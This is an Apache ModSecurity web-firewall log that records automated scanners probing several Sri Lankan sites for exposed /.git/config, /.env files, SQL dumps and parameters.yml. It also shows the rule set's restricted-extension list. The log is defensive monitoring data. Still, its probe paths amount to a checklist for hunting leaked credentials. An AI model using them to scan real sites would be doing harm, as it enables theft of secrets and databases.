[Fri Jul 17 08:29:29.482985 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almakQPhWp7RzB65h36fFgAAAA0"]
[Fri Jul 17 08:29:29.483246 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almakQPhWp7RzB65h36fFgAAAA0"]
[Fri Jul 17 08:29:29.483494 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakQPhWp7RzB65h36fFgAAAA0"]
[Fri Jul 17 08:29:30.106469 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almakmidQp3SsqeycPEs7gAAAAo"]
[Fri Jul 17 08:29:30.106856 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almakmidQp3SsqeycPEs7gAAAAo"]
[Fri Jul 17 08:29:30.107164 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakmidQp3SsqeycPEs7gAAAAo"]
[Fri Jul 17 08:29:30.241329 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaknRlmrtCoY_COpciuwAAAAg"]
[Fri Jul 17 08:29:30.241726 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaknRlmrtCoY_COpciuwAAAAg"]
[Fri Jul 17 08:29:30.242088 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaknRlmrtCoY_COpciuwAAAAg"]
[Fri Jul 17 08:29:30.347672 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almakh15lhZh2QtC5qEWTwAAAB8"]
[Fri Jul 17 08:29:30.348057 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almakh15lhZh2QtC5qEWTwAAAB8"]
[Fri Jul 17 08:29:30.348294 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakh15lhZh2QtC5qEWTwAAAB8"]
[Fri Jul 17 08:29:31.004232 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almakw5GPQ6hs4VrfMo-BQAAAAY"]
[Fri Jul 17 08:29:31.004466 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almakw5GPQ6hs4VrfMo-BQAAAAY"]
[Fri Jul 17 08:29:31.004716 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almakw5GPQ6hs4VrfMo-BQAAAAY"]
[Fri Jul 17 08:29:31.055198 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almak4Zvbo7N5o5zeYC7KAAAABw"]
[Fri Jul 17 08:29:31.055829 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almak4Zvbo7N5o5zeYC7KAAAABw"]
[Fri Jul 17 08:29:31.056298 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almak4Zvbo7N5o5zeYC7KAAAABw"]
[Fri Jul 17 08:29:32.216592 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env"] [unique_id "almalGidQp3SsqeycPEs8AAAAAo"]
[Fri Jul 17 08:29:32.216895 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env"] [unique_id "almalGidQp3SsqeycPEs8AAAAAo"]
[Fri Jul 17 08:29:32.217197 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env"] [unique_id "almalGidQp3SsqeycPEs8AAAAAo"]
[Fri Jul 17 08:29:32.552951 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakI1dLClkUfK_dfHh0QAAAAI"]
[Fri Jul 17 08:29:32.567949 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almalEz_ZDvgWqiMlMbLkQAAAB0"]
[Fri Jul 17 08:29:32.568349 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almalEz_ZDvgWqiMlMbLkQAAAB0"]
[Fri Jul 17 08:29:32.568753 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almalEz_ZDvgWqiMlMbLkQAAAB0"]
[Fri Jul 17 08:29:32.746284 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/backup.sql"] [unique_id "almalI4Wmn5zySdNNkAlCgAAABM"]
[Fri Jul 17 08:29:32.746655 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/backup.sql"] [unique_id "almalI4Wmn5zySdNNkAlCgAAABM"]
[Fri Jul 17 08:29:32.747002 2026] [security2:error] [pid 1996894:tid 1996894] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/backup.sql"] [unique_id "almalI4Wmn5zySdNNkAlCgAAABM"]
[Fri Jul 17 08:29:32.833252 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/dump.sql"] [unique_id "almalA5GPQ6hs4VrfMo-BwAAAAY"]
[Fri Jul 17 08:29:32.833603 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/dump.sql"] [unique_id "almalA5GPQ6hs4VrfMo-BwAAAAY"]
[Fri Jul 17 08:29:32.833924 2026] [security2:error] [pid 1993671:tid 1993671] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/dump.sql"] [unique_id "almalA5GPQ6hs4VrfMo-BwAAAAY"]
[Fri Jul 17 08:29:33.075434 2026] [security2:error] [pid 2013829:tid 2013829] [client 37.139.53.148:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "trails.lk"] [uri "/wp-json/contact-form-7/v1/contact-forms/169/feedback"] [unique_id "almalQ7FYe46zHK_jL3MgQAAABk"], referer: http://trails.lk/contact-us/
[Fri Jul 17 08:29:33.236940 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almalY1dLClkUfK_dfHh0gAAAAI"]
[Fri Jul 17 08:29:33.237296 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almalY1dLClkUfK_dfHh0gAAAAI"]
[Fri Jul 17 08:29:33.237690 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almalY1dLClkUfK_dfHh0gAAAAI"]
[Fri Jul 17 08:29:33.332896 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.git/config"] [unique_id "almalUz_ZDvgWqiMlMbLkgAAAB0"]
